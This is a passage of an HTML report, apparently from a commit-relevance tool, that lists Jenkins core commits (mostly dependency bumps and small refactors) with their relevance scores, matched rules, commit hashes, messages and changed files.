      Bump org.jenkins-ci.plugins:mailer from 463.vedf8358e006b_ to 470.vc91f60c5d8e2 (#9015) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Adds support of sessionId for External-Job-Monitor (#8825) adds... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b5c5caa7eac3e318cfc277932cdf6cd8017154bc +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8825
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Adds support of sessionId for External-Job-Monitor (#8825) adds support of sessionId and minor bug fix
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/Main.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add copy-to-clipboard button to the build console output (#8960) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b0a251ab8cfbad9c5ed32fb1fdd2081a869d4e1e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8960
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add copy-to-clipboard button to the build console output (#8960) * Add copy-to-clipboard button to the build console output * Fix copy button did not work with progressive output * Use getElementById instead of querySelector * Update copyButton documentation * Update core/src/main/resources/lib/layout/copyButton.jelly Co-authored-by: Alexander Brandes <brandes.alexander@web.de> --------- Co-authored-by: Alexander Brandes <brandes.alexander@web.de> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/model/Run/console.jelly + + core/src/main/resources/hudson/model/Run/console.properties + + core/src/main/resources/lib/layout/copyButton.jelly + + core/src/main/resources/lib/layout/copyButton/copyButton.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + `Nodes` persistence cleanup, APIs to control loading (#8979)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 13c86eeaf6354ea4f1b83e59752b43b4be200d2a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8979
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      `Nodes` persistence cleanup, APIs to control loading (#8979) Co-authored-by: Vincent Latombe <vincent@latombe.net>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Node.java + + core/src/main/java/jenkins/model/Jenkins.java + + core/src/main/java/jenkins/model/NodeListener.java + + core/src/main/java/jenkins/model/Nodes.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update Messages_es.properties, minor fixes in spanish translations... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 50f675f6e7a255e743066311c3acb7b35e59d008 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9005
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update Messages_es.properties, minor fixes in spanish translations (#9005) Some corrections in spanish translations
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/model/Messages_es.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8998 from basil/compress Upgrade... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440.2 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3bfef8dacd083d542118e7795a372e775fff1831 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8998
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8998 from basil/compress Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0 on `stable-2.440`
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Use `ABORTED` from `Run.reload` (#8986) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e82487f257bd79fe96a6f0911dbf0410d3aceb51 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8986
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Use `ABORTED` from `Run.reload` (#8986)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Run.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss-loader to v8.1.1 (#9010) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 699f22167c01977d996fe56dee240e9bf1b2cbc2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9010
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss-loader to v8.1.1 (#9010) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:credentials from 1319.v7eb_51b_3a_c97b_... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 97b07c05d9ed431e4ec1ec714bfc79cc7532d91b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9007
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:credentials from 1319.v7eb_51b_3a_c97b_ to 1337.v60b_d7b_c7b_c9f (#9007) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update babel monorepo to v7.24.0 (#9011) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 98bd62d5ad4934fdf74899d9ebbda1f221ce4960 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9011
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update babel monorepo to v7.24.0 (#9011) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Further reduce usages of `StringUtils` (#9002) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b8e916a5367d41b0702f4efa9725ae5d1d6a9f7c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9002
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Further reduce usages of `StringUtils` (#9002)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Descriptor.java + + core/src/main/java/hudson/util/FormValidation.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Stop shipping `commons-lang3` (#8997) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + db29f34460ed211484a331595986fe626cf2dce7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8997
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Stop shipping `commons-lang3` (#8997)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove usages of `StringUtils#join` (#9003) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + aff37148c36dde873f53315cdd6629a47cf60bf0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9003
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove usages of `StringUtils#join` (#9003)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/tasks/ArtifactArchiver/help-defaultExcludes.groovy + + core/src/main/resources/hudson/tasks/Fingerprinter/help-defaultExcludes.groovy + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump io.jenkins.plugins:plugin-util-api from 3.8.0 to 4.1.0 (#8988)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + bf82c475b7c76feec262b80404ea9177f356096c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8988
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump io.jenkins.plugins:plugin-util-api from 3.8.0 to 4.1.0 (#8988) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.puppycrawl.tools:checkstyle from 10.13.0 to 10.14.0 (#9000)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 19f0140adef29e86d150faa056a22ceb011c8b03 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9000
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.puppycrawl.tools:checkstyle from 10.13.0 to 10.14.0 (#9000) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Move `CloudList.setOwner` call from `Jenkins.loadTasks` to `load`... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 20263d06d445ead5b551ca08c946671a997a5f30 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8976
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Move `CloudList.setOwner` call from `Jenkins.loadTasks` to `load` (#8976) Co-authored-by: Vincent Latombe <vincent@latombe.net>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/model/Jenkins.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency eslint to v8.57.0 (#8994) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 20696027875464226901df6549776465e680f427 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8994
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency eslint to v8.57.0 (#8994) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass to v1.71.1 (#8991) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9412faf5ccbbf19990bd0d04a9e13c3b98284486 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8991
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass to v1.71.1 (#8991) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-60866][JENKINS-71513] Apply Stapler update for... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 64607784f87e40352a2d31591d6c57f07ca70a31 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 6865
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-60866][JENKINS-71513] Apply Stapler update for CSP-compliant st:bind and renderOnDemand (#6865) * [JENKINS-60866] Apply Stapler update for CSP-compliant st:bind * [JENKINS-60866] Make renderOnDemand CSP-compliant * Thanks Spotless * Make Stapler incrementals work * Update Stapler to new incremental * Fixup bad merge * Update Stapler, add test demonstrating st:bind working * Address review feedback * Add test for null bind, update Stapler * Checkstyle * More tests * Use released Stapler --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com> Co-authored-by: Basil Crow <me@basilcrow.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + + core/src/main/java/hudson/Functions.java + + core/src/main/resources/lib/layout/renderOnDemand.jelly + + war/src/main/webapp/scripts/hudson-behavior.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump roots/discourse-topic-github-release-action from 1.0.0 to 1.0.1... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0d9fe471a3fdfcdfc76d0e6189b095c9c4dde207 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8982
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump roots/discourse-topic-github-release-action from 1.0.0 to 1.0.1 (#8982) Bumps [roots/discourse-topic-github-release-action](https://github.com/roots/discourse-topic-github-release-action) from 1.0.0 to 1.0.1. - [Release notes](https://github.com/roots/discourse-topic-github-release-action/releases) - [Commits](https://github.com/roots/discourse-topic-github-release-action/compare/fc9e50fa1a1ce6255ba4d03f104382845b79ad5f...c30dc233349b7c6f24f52fb1c659cc64f13b5474) --- updated-dependencies: - dependency-name: roots/discourse-topic-github-release-action dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/announce-lts-rc.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump ip from 2.0.0 to 2.0.1 in /war (#8973) Signed-off-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f7fea8d891dccedd6b16391ade1bef95374e8207 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8973
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump ip from 2.0.0 to 2.0.1 in /war (#8973) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss-preset-env to v9.4.0 (#8983)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 981ebd4328651bb86fe333400c7d213205b4dd74 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8983
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss-preset-env to v9.4.0 (#8983) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass-loader to v14.1.1 (#8981) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4b7cde7c9501c736390a5e78d8a12cb5461d914a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8981
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass-loader to v14.1.1 (#8981) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency webpack to v5.90.3 (#8980) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2e07f81a62cd67271cd49bbe5e1b3b627ed1e9ce +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8980
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency webpack to v5.90.3 (#8980) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.apache.maven.plugins:maven-shade-plugin from 3.5.1 to 3.5.2... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 05627e2b5054b870e1341c836ba594221400c779 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8978
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.apache.maven.plugins:maven-shade-plugin from 3.5.1 to 3.5.2 (#8978) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + cli/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.apache.commons:commons-compress from 1.25.0 to 1.26.0... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8d2045bf9caa9649523d7d980d301be83f6da748 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8971
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.apache.commons:commons-compress from 1.25.0 to 1.26.0 (#8971) Bumps org.apache.commons:commons-compress from 1.25.0 to 1.26.0. --- updated-dependencies: - dependency-name: org.apache.commons:commons-compress dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency webpack to v5.90.2 (#8967) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 32ee888ae8040b9cabc7602d6aba8395041efaae +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8967
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency webpack to v5.90.2 (#8967) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency node to v20.11.1 (#8968) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ab6fce6d4ec44af08c120f630778d8877ad53a80 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8968
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency node to v20.11.1 (#8968) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass to v1.71.0 (#8969) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3ed29aed3449de944eaec17ee8a37d8919358d20 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8969
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass to v1.71.0 (#8969) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8957 from NotMyFault/backporting-the-2nd Second... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d12b130d231a9ef3902ab945e2c8c1e74d95de6d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8957
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8957 from NotMyFault/backporting-the-2nd Second backporting for 2.440.1
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fix login form window size responsiveness thresholds (#8959) >= and... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1c1190c3ae08454954e4370b7cfc42c0a3e48b42 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8959
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fix login form window size responsiveness thresholds (#8959) >= and <= overlap Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/scss/pages/_sign-in-register.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + `WebSockets.upgradeResponse` (#8917) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + db61f04af8e553dc55d2cb2fa18fa5581dab4310 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8917
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      `WebSockets.upgradeResponse` (#8917)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/websocket/WebSockets.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss to v8.4.35 (#8950) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 510867a2f24c1c583803b29bd8b42b46b1c87737 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8950
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss to v8.4.35 (#8950) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump commons-codec:commons-codec from 1.16.0 to 1.16.1 (#8949) Bumps... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
